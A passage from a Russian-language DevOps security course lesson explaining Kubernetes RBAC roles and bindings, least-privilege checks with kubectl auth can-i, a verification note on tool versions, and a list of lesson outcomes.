Аутентификация отвечает на вопрос «кто ты», авторизация - «что тебе можно». В Kubernetes RBAC авторизует действия: Role даёт права внутри неймспейса, ClusterRole описывает права на кластерные ресурсы или общий набор прав, а RoleBinding и ClusterRoleBinding привязывают роль к пользователю, группе или ServiceAccount. Область определяет binding: ClusterRole через RoleBinding работает только в его неймспейсе, через ClusterRoleBinding на весь кластер. Проверяю права командой kubectl auth can-i <глагол> <ресурс> --as <субъект>. Начинаю с минимума и расширяю по необходимости.
Что хотят услышать: кто ты и что можно, Role и ClusterRole, binding, auth can-i, минимум прав.
Красный флаг: выдаёт cluster-admin, «чтобы работало».
Проверено на версиях
- Проверено:
kubeconform -strictна YAML Role и RoleBinding из разбора (2 ресурса, валидны);shellcheckбез замечаний наproject/notes/break/10.5/break.sh. - Не прогонялось: кластер kind, Trivy, Argo Rollouts, nmap и сам
break.sh(скрипт проверен чтением: сценарий иfixидемпотентны, повторный запуск ничего не ломает). Выводы команд в задании 1, 2 и 4 показаны по документации, числа условные. - Версии из предыдущей редакции курса, здесь не перепроверялись: Trivy v0.74.0 (образ
aquasec/trivy:0.74.0), kubectl 1.37.1, kind v0.33.0, Helm v4.3.0, Argo Rollouts v1.10.0. - kubescape, kube-bench, nmap: версия не закреплена, проверь актуальную на странице проекта.
Итог урока: ты умеешь
- умею запускать
trivy fs,configиimageи разбирать замечания на исправить, принять, отложить - умею оформлять принятый риск с причиной и датой пересмотра
- умею проверять права CI:
permissions, закрепление actions, защитуmain - умею находить привязки
cluster-adminи проверять права аккаунта черезkubectl auth can-i - умею смотреть на свой хост снаружи через
nmapи сверять сufw - умею пройти чек-лист из 30 пунктов и оформить
docs/security.md - умею описать релизный процесс, окно, freeze и откат в
RELEASING.md - умею провести релиз по чек-листу с canary и откатом
Дальше: Урок 10.6: портфолио-репозиторий
Проверь себя
Короткий тест по уроку: 5 вопросов из банка в 30. Засчитывается только полностью правильный ответ, порог 60%. Каждая новая попытка даёт другие вопросы, пока банк не закончится. Ответы видны после проверки.
Тест работает с включённым JavaScript.